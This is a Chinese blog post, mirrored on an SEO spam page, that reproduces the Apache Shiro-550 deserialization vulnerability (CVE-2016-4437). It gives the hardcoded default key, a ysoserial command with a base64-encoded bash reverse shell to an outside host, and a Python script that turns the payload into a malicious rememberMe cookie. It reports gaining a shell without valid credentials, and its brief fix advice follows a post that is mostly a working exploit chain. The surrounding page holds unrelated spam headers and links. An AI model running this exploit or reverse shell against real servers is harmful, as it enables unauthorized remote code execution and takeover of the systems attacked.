当前位置: 首页 > news >正文

设计素材网站图片百度seo是什么意思

设计素材网站图片,百度seo是什么意思,店铺代运营,wordpress合租shiro Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序漏洞原理 在Apache shiro的框架中,执行身份验证时提供了…

shiro

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

漏洞原理

在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能RememberMe,如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

出现问题的点在AES加解密的过程中使用的密钥key。AES是一种对称密钥密码体制,加解密用到是相同的密钥,这个密钥应该是绝对保密的,在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,这样攻击者直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码。

在这里插入图片描述
在这里插入图片描述

登录时是否选择Remember Me都不影响漏洞的复现。
在这里插入图片描述
生成base64后的反弹shell。

在这里插入图片描述
使用 ysoserial-0.0.6-SNAPSHOT-all.jar工具进行序列化,直接调用对应的模块,添加上自己的payload即可,方便快捷。
在这里插入图片描述

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar  CommonsCollections2  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser

将序列化后的payload,放到python代码同一目录下,进行aes加密并进行base64转码。在这之前,首先我们要知道shiro的key值是什么,要不然G。当然,目前暴露的shiroKey值很多,可以自己写个脚本进行爆破。我使用的key值是shiro的默认值。
在这里插入图片描述

import sys
import uuid
import base64
from Crypto.Cipher import AESshiro_key = []def getKey(path):with open(path) as file:shiro_key.append(file.readlines())def encode_rememberme(shiro_key):f = open('poc.ser', 'rb')BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode(shiro_key)iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(f.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':# path = "./shiroKey.txt"# getKey(path)shiro_key = 'kPH+bIxk5D2deZiIxcaaaA=='payload = encode_rememberme(shiro_key)print("rememberMe={0}".format(payload.decode()))

将生成的payload,复制到cookie的值处即可,其它的不要动。
下面这个图显示的是使用正确的账户登录显示的内容。
在这里插入图片描述
下面这个图显示的是使用非正确的账户登录显示的内容。
在这里插入图片描述
通过这两个图对比,可以发现,该漏洞不需要正确的账户,即可getshell。有一个前提条件就是需要shiro的key值。
在这里插入图片描述
发完包以后,直接getshell。

总结

shiro550漏洞,漏洞点就在于用户信息反序列化可利用,并且加密的key值给了一个固定的默认值的,导致很多开发人员直接使用,接着导致了洞的产生。

修复建议

1、及时升级shiro版本。(不要忘记升级前做备份。)
2、不再使用固定的密钥加密。

参考链接

shiro反序列化漏洞(CVE-2016-4437)漏洞复现:https://blog.csdn.net/HEAVEN569/article/details/125389987
Shiro-550 漏洞复现:https://blog.csdn.net/qq_46440393/article/details/123493079
shiro550漏洞复现与研究:https://www.163.com/dy/article/GCN65SL20511FSTO.html

http://www.yayakq.cn/news/285887/

相关文章:

  • 网站运营招聘要求17zwd一起做网站教学视频
  • 哈尔滨网站域名备案商城全网推广运营公司
  • 做简历网站 知乎用dw制作个人网页
  • 杨浦网站建设怎么搭建一个网站
  • 网站图片移动怎么做淘宝网站建设的详细策划
  • 淘宝客网站如何做SEOpc网站建设有什么功能
  • 网站logo设计教程建设视频网站要求
  • 方太产品站网站建设微服务网站
  • 建设网站的app网店运营具体做什么
  • 郑州网站优化培训自助建站系统源码 资源网
  • 网站建设 用英语教案怎么写模板
  • 海南 网站制作建立一个网站的前期资金
  • 正规的营销型网站建设宿豫区城乡建设局网站
  • 站长工具seo源码揭阳自助建站软件
  • 集团网站设计案例二线全屋定制十大公认品牌
  • 网站设计公司杭州成都最新的防疫通告今天
  • 电子商务网站开发需求分析wordpress国内现状
  • 做网站(信科网络)怎么用360做网站跳转
  • 温州快速网站推广公司商城购物网站有哪些模块
  • 做ptt有什么好的模板网站aspx网站搭建教程
  • 哈尔滨网站建设维护做网站页面
  • 网站 html 作用免费网站建设软件有哪些
  • 网站改版数据来源表改怎么做专业建网站 优帮云
  • 网站建设刂金手指下拉十五做网站怎么更新静态页
  • 湿地保护宣教网站建设意义wordpress的数据库在哪里
  • jq效果较多的网站网站制作公司都找乐云seo
  • 销售网站排名做的比较好的网页设计网站
  • 网站底部工信部链接怎么做西安搬家公司电话
  • 网站被攻击怎么让百度重新蜘蛛自动抓直播网站 建设
  • 巅峰网站建设杨和网站设计制作